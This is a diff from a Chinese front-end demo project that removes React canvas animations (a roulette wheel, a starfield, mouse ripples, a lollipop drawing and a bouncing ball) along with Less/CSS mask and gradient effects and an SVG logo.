ctx.moveTo(250, 250); //将当前位置移动到新的目标点
|
||||
ctx.arc(250, 250, this.radius, _startR, _endR);
|
||||
ctx.closePath(); //绘制路径
|
||||
ctx.fill();
|
||||
}
|
||||
|
||||
ctx.beginPath(); //开始绘制路径
|
||||
ctx.moveTo(250, 250); //将当前位置移动到新的目标点
|
||||
ctx.arc(250, 250, 250, Math.PI / 2, Math.PI);
|
||||
ctx.closePath(); //绘制路径
|
||||
ctx.fillStyle = "#ccc"; //填充背景颜色
|
||||
ctx.fill();
|
||||
ctx.beginPath(); //开始绘制路径
|
||||
ctx.moveTo(250, 250); //将当前位置移动到新的目标点
|
||||
ctx.arc(250, 250, 250, Math.PI, Math.PI * 1.5);
|
||||
ctx.closePath(); //绘制路径
|
||||
ctx.fillStyle = "#ddd"; //填充背景颜色
|
||||
ctx.fill();
|
||||
ctx.beginPath(); //开始绘制路径
|
||||
ctx.moveTo(250, 250); //将当前位置移动到新的目标点
|
||||
ctx.arc(250, 250, 250, Math.PI * 1.5, Math.PI * 2);
|
||||
ctx.closePath(); //绘制路径
|
||||
ctx.fillStyle = "#aaa"; //填充背景颜色
|
||||
ctx.fill();
|
||||
}
|
||||
}
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
|
||||
useEffect(() => {
|
||||
let rw = new RouletteWheel({
|
||||
canvas: canvasRef.current,
|
||||
width: '500',
|
||||
height: '500',
|
||||
awards: [ // 转盘内的奖品个数以及内容
|
||||
'大保健', '话费10元', '话费20元', '话费30元', '保时捷911', '周大福土豪金项链',
|
||||
// 'iphone 20', '火星7日游'
|
||||
]
|
||||
})
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
```
|
||||
|
||||
### 火焰
|
||||
|
||||
<code src="./demos/Fire/index.jsx" />
|
||||
|
||||
### 星空
|
||||
|
||||
|
||||
```jsx
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
/**
|
||||
* 星空初始化
|
||||
*/
|
||||
class NightSky {
|
||||
constructor(opt) {
|
||||
this.opt = {
|
||||
width: 500,
|
||||
height: 500,
|
||||
num: 120,
|
||||
canvas: null,
|
||||
...opt
|
||||
}
|
||||
this.opt.canvas.width = this.opt.width
|
||||
this.opt.canvas.height = this.opt.height
|
||||
this.ctx = this.opt.canvas && this.opt.canvas.getContext('2d')
|
||||
this.opt.canvas.style.backgroundColor = '#000'
|
||||
this.starList = []
|
||||
this.draw = this.draw
|
||||
this.init()
|
||||
}
|
||||
|
||||
init() {
|
||||
this.drawStar()
|
||||
this.animate()
|
||||
}
|
||||
|
||||
drawStar() {
|
||||
let { width, height, num } = this.opt
|
||||
|
||||
for (let i = 0; i < num; i++) {
|
||||
this.starList[i] = new Star({
|
||||
maxRadius: 3,
|
||||
ctx: this.ctx,
|
||||
width,
|
||||
height
|
||||
})
|
||||
this.starList[i].draw()
|
||||
}
|
||||
}
|
||||
|
||||
animate() {
|
||||
let ctx = this.ctx
|
||||
let starList = this.starList
|
||||
let { width, height } = this.opt
|
||||
|
||||
function _move() {
|
||||
ctx.clearRect(0, 0, width, height)
|
||||
for (const i in starList) {
|
||||
starList[i].move()
|
||||
}
|
||||
window.requestAnimationFrame(_move)
|
||||
}
|
||||
|
||||
window.requestAnimationFrame(_move)
|
||||
}
|
||||
|
||||
draw(val) {
|
||||
return val
|
||||
}
|
||||
}
|
||||
|
||||
class Star {
|
||||
constructor(opt) {
|
||||
let { width, height, maxRadius = 2, ctx, speed = 0.5 } = opt
|
||||
this.x = Math.random() * width
|
||||
this.y = Math.random() * height
|
||||
this.height = height
|
||||
this.width = width
|
||||
this.speed = speed
|
||||
this.maxRadius = maxRadius
|
||||
this.ctx = ctx
|
||||
this.r = Math.random() * maxRadius
|
||||
var alpha = (Math.floor(Math.random() * 10) + 1) / 10
|
||||
this.color = `rgba(255, 255, 255, ${alpha})`
|
||||
}
|
||||
|
||||
draw() {
|
||||
this.ctx.fillStyle = this.color
|
||||
this.ctx.shadowBlur = this.r * 2
|
||||
this.ctx.beginPath()
|
||||
this.ctx.arc(this.x, this.y, this.r * Math.random(), 0, 2 * Math.PI, false)
|
||||
this.ctx.closePath()
|
||||
this.ctx.fill()
|
||||
}
|
||||
|
||||
move() {
|
||||
this.y -= this.speed
|
||||
if (this.y <= -10) {
|
||||
this.y = this.height + 10
|
||||
}
|
||||
this.draw()
|
||||
}
|
||||
}
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
|
||||
useEffect(() => {
|
||||
let nightSky = new NightSky({
|
||||
canvas: canvasRef.current,
|
||||
width: 500,
|
||||
height: 300
|
||||
})
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
```
|
||||
|
||||
### 移动(doing)
|
||||
|
||||
|
||||
```jsx
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
class Move {
|
||||
constructor(opt) {
|
||||
const option = {
|
||||
canvas: null,
|
||||
width: document.documentElement.clientWidth, // 宽度
|
||||
height: document.documentElement.clientHeight, // 高度
|
||||
bgColor: '#000',
|
||||
para: {
|
||||
num: 100,
|
||||
color: false, // 颜色 如果是false 则是随机渐变颜色
|
||||
r: 0.9, // 圆每次增加的半径
|
||||
o: 0.09, // 判断圆消失的条件,数值越大,消失的越快
|
||||
},
|
||||
...opt
|
||||
}
|
||||
const { canvas, width, height, bgColor } = option
|
||||
this.option = option
|
||||
this.round_arr = []
|
||||
this.ctx = canvas.getContext('2d')
|
||||
|
||||
canvas.width = width
|
||||
canvas.height = height
|
||||
canvas.style.backgroundColor = bgColor
|
||||
|
||||
this.init(this)
|
||||
}
|
||||
|
||||
init(opt) {
|
||||
let tempSum = 0
|
||||
window.onmousemove = function (event) {
|
||||
|
||||
let mouseX = event.clientX;
|
||||
let mouseY = event.clientY;
|
||||
|
||||
if (tempSum < 5) {
|
||||
tempSum++
|
||||
} else {
|
||||
opt.round_arr.push({
|
||||
mouseX,
|
||||
mouseY,
|
||||
r: opt.option.para.r, // 设置半径每次增大的数值
|
||||
o: 1, // 判断圆消失的条件,数值越大,消失得越快
|
||||
})
|
||||
tempSum = 0
|
||||
opt.animate()
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
animate() {
|
||||
let { para, width, height } = this.option
|
||||
let color = 0, color2
|
||||
let ctx = this.ctx
|
||||
let round_arr = this.round_arr
|
||||
|
||||
if (!para.color) {
|
||||
color += Math.random();
|
||||
color2 = 'hsl(' + color + ',100%,80%)';
|
||||
}
|
||||
|
||||
function _move() {
|
||||
|
||||
ctx.clearRect(0, 0, width, height);
|
||||
|
||||
for (var i = 0; i < round_arr.length; i++) {
|
||||
|
||||
ctx.fillStyle = color2;
|
||||
ctx.beginPath();
|
||||
ctx.arc( round_arr[i].mouseX ,round_arr[i].mouseY, round_arr[i].r, 0, Math.PI * 2);
|
||||
ctx.closePath();
|
||||
ctx.fill();
|
||||
round_arr[i].r += para.r;
|
||||
round_arr[i].o -= para.o;
|
||||
|
||||
if( round_arr[i].o <= 0){
|
||||
round_arr.splice(i,1);
|
||||
i--;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
window.requestAnimationFrame(_move);
|
||||
}
|
||||
}
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
|
||||
useEffect(() => {
|
||||
let rw = new Move({
|
||||
canvas: canvasRef.current,
|
||||
width: 500,
|
||||
height: 300
|
||||
})
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
```
|
||||
|
||||
### 棒棒糖
|
||||
|
||||
|
||||
```jsx
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
class Lollipop {
|
||||
constructor(opt) {
|
||||
this.opt = {
|
||||
canvas: null, // 画布
|
||||
width: document.documentElement.clientWidth, // 宽度
|
||||
height: document.documentElement.clientHeight, // 高度
|
||||
bgColor: '#000',
|
||||
...opt
|
||||
}
|
||||
this.ctx = this.opt.canvas.getContext('2d')
|
||||
|
||||
// 初始化画布
|
||||
this.opt.canvas.width = this.opt.width
|
||||
this.opt.canvas.height = this.opt.height
|
||||
this.opt.canvas.style.backgroundColor = this.opt.bgColor
|
||||
|
||||
this.render()
|
||||
}
|
||||
|
||||
render() {
|
||||
this._drawCircle(this.ctx)
|
||||
this._drawStick(this.ctx)
|
||||
this._drawHalfCircle(this.ctx)
|
||||
}
|
||||
|
||||
/**
|
||||
* 画圆
|
||||
* @param {*} ctx
|
||||
*/
|
||||
_drawCircle(ctx) {
|
||||
ctx.beginPath()
|
||||
ctx.arc(300, 300, 50, 0, Math.PI * 2, true)
|
||||
ctx.closePath()
|
||||
ctx.fillStyle = '#fff'
|
||||
ctx.shadowBlur = 15
|
||||
ctx.shadowColor = '#fff'
|
||||
ctx.fill()
|
||||
}
|
||||
|
||||
/**
|
||||
* 棍子
|
||||
* @param {*} ctx
|
||||
*/
|
||||
_drawStick(ctx) {
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(340, 340)
|
||||
ctx.lineTo(450, 450)
|
||||
ctx.lineWidth = 8
|
||||
ctx.lineCap = 'round'
|
||||
ctx.strokeStyle = '#fff'
|
||||
ctx.stroke()
|
||||
ctx.closePath()
|
||||
}
|
||||
|
||||
_drawHalfCircle(ctx) {
|
||||
ctx.beginPath()
|
||||
ctx.arc(300, 300, 30, 0, Math.PI * 0.6, false)
|
||||
ctx.shadowBlur = 5
|
||||
ctx.lineWidth = 5
|
||||
ctx.lineCap = 'round'
|
||||
ctx.strokeStyle = '#ccc'
|
||||
ctx.stroke()
|
||||
}
|
||||
}
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
|
||||
useEffect(() => {
|
||||
new Lollipop({
|
||||
canvas: canvasRef.current,
|
||||
width: 500,
|
||||
height: 800
|
||||
})
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
```
|
||||
|
||||
### 时钟
|
||||
|
||||
<code src="./demos/Clock/index.jsx" />
|
@ -1,106 +0,0 @@
|
||||
@property --rotate {
|
||||
syntax: "<angle>";
|
||||
initial-value: 132deg;
|
||||
inherits: false;
|
||||
}
|
||||
|
||||
.cont {
|
||||
position: relative;
|
||||
min-height: 400px;
|
||||
height: 500px;
|
||||
background: #212534;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
flex-direction: column;
|
||||
padding-top: 2rem;
|
||||
padding-bottom: 2rem;
|
||||
box-sizing: border-box;
|
||||
z-index: 0;
|
||||
}
|
||||
|
||||
.card {
|
||||
background: #191c29;
|
||||
width: 200px;
|
||||
height: 300px;
|
||||
padding: 3px;
|
||||
position: relative;
|
||||
border-radius: 6px;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
text-align: center;
|
||||
font-size: 1.5em;
|
||||
cursor: pointer;
|
||||
font-family: cursive;
|
||||
&_heart {
|
||||
font-size: 150px;
|
||||
color: #e00;
|
||||
animation: beat .25s infinite alternate;
|
||||
transform-origin: center;
|
||||
}
|
||||
:global :local{
|
||||
/* Heart beat animation */
|
||||
@keyframes beat {
|
||||
to { transform: scale(1.4); }
|
||||
}
|
||||
|
||||
|
||||
@keyframes spin {
|
||||
0% {
|
||||
transform: rotate(0);
|
||||
}
|
||||
100% {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
.card:hover {
|
||||
color: rgb(88 199 250 / 100%);
|
||||
transition: color 1s;
|
||||
}
|
||||
.card:hover:before, .card:hover:after {
|
||||
animation: none;
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
|
||||
.card::before{
|
||||
content: "";
|
||||
width: 104%;
|
||||
height: 102%;
|
||||
border-radius: 8px;
|
||||
background-image: linear-gradient(
|
||||
var(--rotate)
|
||||
, #5ddcff, #3c67e3 43%, #4e00c2);
|
||||
position: absolute;
|
||||
z-index: -1;
|
||||
top: -1%;
|
||||
left: -2%;
|
||||
animation: spin 2.5s linear infinite;
|
||||
}
|
||||
|
||||
.card::after {
|
||||
position: absolute;
|
||||
content: "";
|
||||
top: 20px;
|
||||
left: 0;
|
||||
right: 0;
|
||||
z-index: -1;
|
||||
height: 100%;
|
||||
width: 100%;
|
||||
margin: 0 auto;
|
||||
transform: scale(0.8);
|
||||
filter: blur(30px);
|
||||
background-image: linear-gradient(
|
||||
var(--rotate)
|
||||
, #5ddcff, #3c67e3 43%, #4e00c2);
|
||||
opacity: 1;
|
||||
transition: opacity .5s;
|
||||
animation: spin 2.5s linear infinite;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
@ -1,12 +0,0 @@
|
||||
import styles from './index.less';
|
||||
|
||||
export default function () {
|
||||
return (
|
||||
<div className={styles.cont}>
|
||||
<div className={styles.card}>
|
||||
{/* <div className={styles.card_heart}>♥</div> */}
|
||||
{/* <h1 className={styles.card_title}>hello! motherfucker!</h1> */}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
@ -1,42 +0,0 @@
|
||||
|
||||
.textMask {
|
||||
position: relative;
|
||||
height: 300px;
|
||||
width: 100%;
|
||||
overflow: hidden;
|
||||
.bg {
|
||||
height: 300px;
|
||||
width: 100%;
|
||||
background-image: url('https://images4.alphacoders.com/284/284838.jpg');
|
||||
background-size: 100% 100%;
|
||||
background-position: center;
|
||||
transform: rotateY(180deg);
|
||||
transition: all 2.5s ease-in-out;
|
||||
}
|
||||
.text {
|
||||
position: absolute;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
width: 100%;
|
||||
background-image: url('https://images4.alphacoders.com/284/284838.jpg');
|
||||
background-size: 100% 100%;
|
||||
background-position: center;
|
||||
font-size: 50px;
|
||||
color: transparent;
|
||||
text-transform: uppercase;
|
||||
text-align: center;
|
||||
line-height: 200px;
|
||||
transform: translate(-50%, -50%);
|
||||
background-clip: text;
|
||||
-webkit-background-clip: text;
|
||||
transition: all 2.5s ease-in-out;
|
||||
}
|
||||
&:hover {
|
||||
.text {
|
||||
background-size: 80% 80%;
|
||||
}
|
||||
.bg {
|
||||
background-size: 150% 150%;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,17 +0,0 @@
|
||||
import React, { useRef, useEffect, FC } from 'react';
|
||||
import './index.less'
|
||||
|
||||
export default (): any => {
|
||||
|
||||
useEffect(() => {
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div className="demo textMask">
|
||||
<div className="bg"></div>
|
||||
<div className="text">
|
||||
Text Mask
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
@ -1,14 +0,0 @@
|
||||
.box {
|
||||
width: 500px;
|
||||
height: 500px;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
background: #ccc;
|
||||
}
|
||||
.ball {
|
||||
width: 10px;
|
||||
height: 10px;
|
||||
border-radius: 5px;
|
||||
position: absolute;
|
||||
background: red;
|
||||
}
|
@ -1,40 +0,0 @@
|
||||
import React, { useRef, useEffect, FC } from 'react';
|
||||
import './index.less'
|
||||
|
||||
export default (): any => {
|
||||
const ballRef = useRef(null)
|
||||
|
||||
function fun(v) {
|
||||
let Vx = Math.random()*v;
|
||||
let Vy = Math.sqrt(v*v - Vx*Vx);
|
||||
let startX = Math.random()*490;
|
||||
let startY = Math.random()*490;
|
||||
const ball = ballRef.current;
|
||||
Math.random() > 0.5 && (Vx *= -1);
|
||||
Math.random() > 0.5 && (Vy *= -1);
|
||||
ball.style.left = startX + 'px';
|
||||
ball.style.top = startY + 'px';
|
||||
function animate(){
|
||||
if(startX >= 490 || startX <= 0)
|
||||
Vx = -Vx;
|
||||
startX += Vx;
|
||||
if(startY >= 490 || startY <= 0)
|
||||
Vy = -Vy;
|
||||
startY += Vy;
|
||||
ball.style.left = startX + 'px';
|
||||
ball.style.top = startY + 'px';
|
||||
window.requestAnimationFrame(animate);
|
||||
}
|
||||
window.requestAnimationFrame(animate);
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div className="box">
|
||||
<button onClick={() => fun(5)} type="button">开始</button>
|
||||
<div className="ball" ref={ballRef}></div>
|
||||
</div>
|
||||
)
|
||||
}
|
Before Width: | Height: | Size: 102 KiB |
Before Width: | Height: | Size: 684 KiB |
Before Width: | Height: | Size: 1.9 MiB |
@ -1,157 +0,0 @@
|
||||
@keyframes ani {
|
||||
from {
|
||||
mask-position: 0 0;
|
||||
}
|
||||
to {
|
||||
mask-position: 100% 0;
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes ani2 {
|
||||
from {
|
||||
mask-position: 100% 0;
|
||||
}
|
||||
to {
|
||||
mask-position: 0 0;
|
||||
}
|
||||
}
|
||||
|
||||
.buttonMask {
|
||||
button {
|
||||
width: 101%;
|
||||
height: 100%;
|
||||
font-family: 'Righteous', cursive;
|
||||
font-weight: 300;
|
||||
font-size: 20px;
|
||||
letter-spacing: 1px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.mas {
|
||||
margin-top: 12px;
|
||||
position: absolute;
|
||||
color: #000;
|
||||
text-align: center;
|
||||
width: 101%;
|
||||
font-family: 'Righteous' sans-serif;
|
||||
font-weight: 300;
|
||||
font-size: 20px;
|
||||
overflow: hidden;
|
||||
}
|
||||
.btn {
|
||||
position: relative;
|
||||
width: 100px;
|
||||
height: 50px;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
margin-top: 6vh;
|
||||
overflow: hidden;
|
||||
border: 1px solid ;
|
||||
font-family: 'Righteous' sans-serif;
|
||||
font-weight: 300;
|
||||
font-size: 20px;
|
||||
text-align: center;
|
||||
transition: .5s;
|
||||
letter-spacing: 1px;
|
||||
}
|
||||
.button-container-1 {
|
||||
button {
|
||||
background: #000;
|
||||
mask: url('./img/button1.png');
|
||||
mask-size: 2300% 100%;
|
||||
border: none;
|
||||
color: #fff;
|
||||
-webkit-animation: ani2 .7s steps(22) forwards;
|
||||
animation: ani2 .7s steps(22) forwards;
|
||||
|
||||
&:hover {
|
||||
-webkit-animation: ani .7s steps(22) forwards;
|
||||
animation: ani .7s steps(22) forwards;
|
||||
}
|
||||
}
|
||||
}
|
||||
.button-container-2 {
|
||||
button {
|
||||
background: #000;
|
||||
mask: url('./img/button2.png');
|
||||
mask-size: 3000% 100%;
|
||||
border: none;
|
||||
color: #fff;
|
||||
-webkit-animation: ani2 .7s steps(29) forwards;
|
||||
animation: ani2 .7s steps(29) forwards;
|
||||
|
||||
&:hover {
|
||||
-webkit-animation: ani .7s steps(29) forwards;
|
||||
animation: ani .7s steps(29) forwards;
|
||||
}
|
||||
}
|
||||
}
|
||||
.button-container-3 {
|
||||
button {
|
||||
background: #000;
|
||||
mask: url('./img/button3.png');
|
||||
mask-size: 7100% 100%;
|
||||
border: none;
|
||||
color: #fff;
|
||||
-webkit-animation: ani2 0.7s steps(70) forwards;
|
||||
animation: ani2 0.7s steps(70) forwards;
|
||||
|
||||
&:hover {
|
||||
-webkit-animation: ani 0.7s steps(70) forwards;
|
||||
animation: ani 0.7s steps(70) forwards;
|
||||
}
|
||||
}
|
||||
}
|
||||
.button-container-4 {
|
||||
position: relative;
|
||||
height: 45px;
|
||||
width: 200px;
|
||||
background: #fff;
|
||||
color: #6cf;
|
||||
text-align: center;
|
||||
line-height: 45px;
|
||||
-webkit-box-sizing:border-box;
|
||||
box-sizing:border-box;
|
||||
margin: 40px auto;
|
||||
border: 1px solid #ccc;
|
||||
cursor: pointer;
|
||||
}
|
||||
.button-container-4::before {
|
||||
content: "";
|
||||
position: absolute;
|
||||
display: block;
|
||||
width: 0;
|
||||
height: 1px;
|
||||
right: -2px;
|
||||
top: -2px;
|
||||
background-color: #6cf;
|
||||
z-index: -1;
|
||||
transition: width .4s linear, height .4s linear;
|
||||
}
|
||||
.button-container-4::after {
|
||||
content: "";
|
||||
position: absolute;
|
||||
display: block;
|
||||
width: 0;
|
||||
height: 1px;
|
||||
left: -2px;
|
||||
bottom: -2px;
|
||||
background-color: #6cf;
|
||||
z-index: -1;
|
||||
transition: width .4s linear, height .4s linear;
|
||||
}
|
||||
.button-container-4:hover {
|
||||
&::before {
|
||||
content: "";
|
||||
transition: width .4s linear, height .4s linear;
|
||||
width: 201px;
|
||||
height: 46px;
|
||||
}
|
||||
&::after {
|
||||
content: "";
|
||||
transition: width .4s linear, height .4s linear;
|
||||
width: 201px;
|
||||
height: 46px;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -1,28 +0,0 @@
|
||||
import React, { useRef, useEffect, FC } from 'react';
|
||||
import './index.less'
|
||||
|
||||
export default (): any => {
|
||||
|
||||
useEffect(() => {
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div className="buttonMask">
|
||||
<div className="btn button-container-1">
|
||||
<span className="mas">MASK1</span>
|
||||
<button type="button" name="Hover">MASK1</button>
|
||||
</div>
|
||||
<div className="btn button-container-2">
|
||||
<span className="mas">MASK2</span>
|
||||
<button type="button" name="Hover">MASK2</button>
|
||||
</div>
|
||||
<div className="btn button-container-3">
|
||||
<span className="mas">MASK2</span>
|
||||
<button type="button" name="Hover">MASK3</button>
|
||||
</div>
|
||||
<div className="button-container-4">
|
||||
描边动画
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
Before Width: | Height: | Size: 329 KiB |
@ -1,47 +0,0 @@
|
||||
.svgMask {
|
||||
position: relative;
|
||||
.rang {
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 250px;
|
||||
z-index: 10;
|
||||
svg {
|
||||
width: 100%;
|
||||
height: inherit;
|
||||
text {
|
||||
text-anchor: middle;
|
||||
}
|
||||
.svgDemo {
|
||||
&_rect {
|
||||
fill: darken( #fff, 60%);
|
||||
}
|
||||
&_tit {
|
||||
letter-spacing: -2px;
|
||||
font-size: 6em;
|
||||
font-weight: 800;
|
||||
}
|
||||
&_subtit {
|
||||
letter-spacing: 8px;
|
||||
font-size: 1.2em;
|
||||
font-weight: 300;
|
||||
text-transform: uppercase;
|
||||
}
|
||||
}
|
||||
.down {
|
||||
fill: #000;
|
||||
mask: url(#svgDemo)
|
||||
}
|
||||
}
|
||||
}
|
||||
.intro {
|
||||
position: relative;
|
||||
background: url('./img/amazon_view.jpg');
|
||||
background-repeat: no-repeat;
|
||||
background-position: center;
|
||||
background-size: cover;
|
||||
width: 100%;
|
||||
min-height: 100vh;
|
||||
}
|
||||
}
|
@ -1,27 +0,0 @@
|
||||
import React, { useRef, useEffect, FC } from 'react';
|
||||
import './index.less'
|
||||
|
||||
export default (): any => {
|
||||
|
||||
useEffect(() => {
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div class="svgMask">
|
||||
<div class="rang">
|
||||
<svg>
|
||||
<defs>
|
||||
<mask id="svgDemo" class="svgDemo" width="100%" heigth="100%" x="0" y="0">
|
||||
<rect class="svgDemo_rect" x="0" y="0" width="100%" height="100%" />
|
||||
|
||||
<text class="svgDemo_tit" x="50%" y="0" dy="1.58em">SVG + CSS</text>
|
||||
<text class="svgDemo_subtit" x="50%" y="0" dy="9.8em">welcome!</text>
|
||||
</mask>
|
||||
</defs>
|
||||
<rect class="down" x="0" y="0" width="100%" height="100%" />
|
||||
</svg>
|
||||
</div>
|
||||
<div class="intro">嗨,你好吗?</div>
|
||||
</div>
|
||||
)
|
||||
}
|
@ -1,18 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<svg width="45px" height="26px" viewBox="0 0 45 26" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
|
||||
<!-- Generator: Sketch 46.2 (44496) - http://www.bohemiancoding.com/sketch -->
|
||||
<title>Group</title>
|
||||
<desc>Created with Sketch.</desc>
|
||||
<defs></defs>
|
||||
<g id="Symbols" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
|
||||
<g id="block/navigation_primary_white" transform="translate(-165.000000, -12.000000)" fill="#303233">
|
||||
<g id="Group">
|
||||
<g transform="translate(165.000000, 12.000000)">
|
||||
<g id="systemicon/black/djilogo">
|
||||
<path d="M17.9822999,14.0172253 L21.3322723,0 L28.6674466,0 L24.8560701,15.9459198 C24.1224248,19.0236511 21.8345765,19.7624088 19.7179972,19.7624088 L2.81348162,19.7624088 C0.951249717,19.7624088 -0.609344073,18.9712479 0.235498266,15.4180531 L1.75902636,9.05809025 C2.52845917,5.83081808 4.92750466,5.09206033 6.6619238,5.09206033 L18.464154,5.09206033 L17.5119489,9.06831527 L11.4868555,9.06831527 C10.6023912,9.06831527 10.1167027,9.26131253 9.87002406,10.2927615 L8.89609083,14.354651 C8.54971825,15.8117164 9.05969116,15.9114104 10.1243714,15.9114104 L15.6458826,15.9114104 C16.6568816,15.9114104 17.5451803,15.8487821 17.9822999,14.0172253 Z M37.8744387,5.0897597 L45,5.0897597 L41.5477774,19.7626645 L34.422216,19.7626645 L37.8744387,5.0897597 Z M29.1385644,5.0897597 L36.2641257,5.0897597 L32.9461065,18.8807564 C31.5618943,24.6604494 27.6955583,25.9973709 25.077953,25.9973709 L15.0817171,25.9973709 L16.2767664,21.0254545 C16.2767664,21.0254545 21.5937772,21.0510171 21.7829401,21.0280108 C23.684794,20.869523 25.5777009,19.9441586 26.2333804,17.1974624 L29.1385644,5.0897597 Z" id="LOGO"></path>
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
</svg>
|
Before Width: | Height: | Size: 1.9 KiB |
@ -1,51 +0,0 @@
|
||||
|
||||
@keyframes move {
|
||||
0% {
|
||||
background-position: 0 0;
|
||||
}
|
||||
50% {
|
||||
background-position: 100% 0;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
.realMask {
|
||||
position: relative;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
flex-direction: column;
|
||||
z-index: 1;
|
||||
height: 500px;
|
||||
overflow: hidden;
|
||||
&_bg {
|
||||
background-image: url('https://sp-webfront.skypixel.com/skypixel/v2/public/website/assets/1535027674204-f6eca6369ec03e70262b58b0e25cda7b.jpg');
|
||||
background-size: cover;
|
||||
position: absolute;
|
||||
top: -20px;
|
||||
left: -20px;
|
||||
right: -20px;
|
||||
bottom: -20px;
|
||||
filter: blur(15px);
|
||||
z-index: -1;
|
||||
}
|
||||
&_mask {
|
||||
position: absolute;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
width: 200px;
|
||||
height: 80px;
|
||||
animation: move 88s infinite;
|
||||
background-image: url(https://sp-webfront.skypixel.com/skypixel/v2/public/website/assets/1535027674204-f6eca6369ec03e70262b58b0e25cda7b.jpg);
|
||||
background-size: cover;
|
||||
mask-image: url('./img/dji.svg');
|
||||
mask-size: cover;
|
||||
transform: translate(-50%, -50%);
|
||||
}
|
||||
&_slogan {
|
||||
color: white;
|
||||
margin-top: 24px;
|
||||
font-size: 36px;
|
||||
font-weight: 300;
|
||||
text-align: center;
|
||||
}
|
||||
}
|
@ -1,16 +0,0 @@
|
||||
import React, { useRef, useEffect, FC } from 'react';
|
||||
import './index.less'
|
||||
|
||||
export default (): any => {
|
||||
|
||||
useEffect(() => {
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div className="realMask">
|
||||
<div className="realMask_bg"></div>
|
||||
<div className="realMask_mask"></div>
|
||||
<div className="realMask_slogan">NiceNote</div>
|
||||
</div>
|
||||
)
|
||||
}
|
@ -1,32 +0,0 @@
|
||||
|
||||
@keyframes Gradient {
|
||||
0%{background-position:50% 0%}
|
||||
50%{background-position:50% 100%}
|
||||
100%{background-position:50% 0%}
|
||||
}
|
||||
|
||||
.gradientMask {
|
||||
height: 100%;
|
||||
width: 100%;
|
||||
font-size: 50px;
|
||||
letter-spacing: 1px;
|
||||
font-weight: bold;
|
||||
background: linear-gradient(0deg, #e55d87, #5fc3e4);
|
||||
background-size: 400% 400%;
|
||||
animation: Gradient 4s linear infinite;
|
||||
svg {
|
||||
display: block;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
}
|
||||
text {
|
||||
text-anchor: middle;
|
||||
}
|
||||
svg mask rect {
|
||||
fill: #eee;
|
||||
}
|
||||
svg > rect {
|
||||
fill: #eee;
|
||||
mask: url(#gradientMask_svg__mask);
|
||||
}
|
||||
}
|
@ -1,28 +0,0 @@
|
||||
import React, { useRef, useEffect, FC } from 'react';
|
||||
import './index.less'
|
||||
|
||||
export default (): any => {
|
||||
|
||||
useEffect(() => {
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div className="gradientMask">
|
||||
<svg
|
||||
className="gradientMask_svg"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
width="100%"
|
||||
height="100%"
|
||||
>
|
||||
<defs>
|
||||
<mask id="gradientMask_svg__mask" x="0" y="0" width="100%" height="100%">
|
||||
<rect x="0" y="0" width="100%" height="100%" />
|
||||
<text x="50%" y="1em">Hello</text>
|
||||
<text x="50%" y="2em">Motal</text>
|
||||
</mask>
|
||||
</defs>
|
||||
<rect x="0" y="0" width="100%" height="100%" />
|
||||
</svg>
|
||||
</div>
|
||||
)
|
||||
}
|
Before Width: | Height: | Size: 329 KiB |
@ -1,47 +0,0 @@
|
||||
.svgBgMask {
|
||||
position: relative;
|
||||
font-weight: 700;
|
||||
h1, h2 {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
.picture {
|
||||
img {
|
||||
position: absolute;
|
||||
top: 0;
